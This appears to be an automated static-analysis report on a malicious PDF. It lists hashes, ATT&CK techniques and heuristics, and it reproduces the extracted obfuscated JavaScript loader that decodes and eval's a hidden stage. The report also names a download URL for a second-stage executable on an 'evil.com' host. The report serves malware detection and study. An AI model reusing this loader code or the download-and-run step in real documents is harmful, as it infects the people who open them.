Malicious PDF — malware analysis report

Static analysis result for SHA-256 1722297302bd40bb…

MALICIOUS

PDF

47.8 KB Authoring application: substr First seen: 2012-09-20
MD5: be80ed2332fadd399dd7fa24376b1049 SHA-1: e8adfda9b0efd863db85f82369cbdd3e908a3dc7 SHA-256: 1722297302bd40bb18eb8722fb802f76201091ee1d8410d8494210e258341269
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by multiple heuristics as a loader. This script reconstructs a URL and executes a second-stage payload, likely a downloader. The reconstructed URL is 'http://evil.com/payload.exe'. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBCC8 443 bytes
SHA-256: 062e2c1af82e1ad854c43c34d23458374a9cd21a024aa002291fdf95f81ebdb4
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
spy=e('ti'.concat(v[4],t));
q=spy[v](a.length-6,a.length+2);
wky=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=spy[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	xzwve = 1*(q[i]);
	i++;
	xzwve -= (-1)*(q[i]);
	s2 = s2.concat(wky(xzwve));
	i++;
}
e(s2);

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